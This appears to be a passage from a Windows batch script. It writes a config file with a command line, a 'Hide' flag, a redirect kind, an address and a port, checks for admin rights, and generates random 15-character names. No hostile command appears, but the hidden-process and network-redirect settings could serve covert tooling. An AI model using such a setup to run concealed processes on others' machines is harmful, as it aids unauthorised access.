> "!CFG!" echo CommandLine=!P_CMDLINE!
>> "!CFG!" echo Hide=!P_HIDE!
>> "!CFG!" echo RedirectKind=!P_REDIRECT!
>> "!CFG!" echo Address=!P_ADDRESS!
>> "!CFG!" echo Port=!P_PORT!
exit /b 0
:RequireAdmin
net session >nul 2>&1
if errorlevel 1 (
echo [ERROR] Insufficient Privilege: an elevated terminal is required.
exit /b 1
)
exit /b 0
:GenRandomString
setlocal
set "CHARS=abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
set "RESULT="
for /l %%i in (1,1,15) do (
set /a IDX=!random! %% 62
for %%j in (!IDX!) do set "RESULT=!RESULT!!CHARS:~%%j,1!"
)
endlocal & set "%~1=%RESULT%"
exit /b 0
:done
exit /b 0
:fail
exit /b 1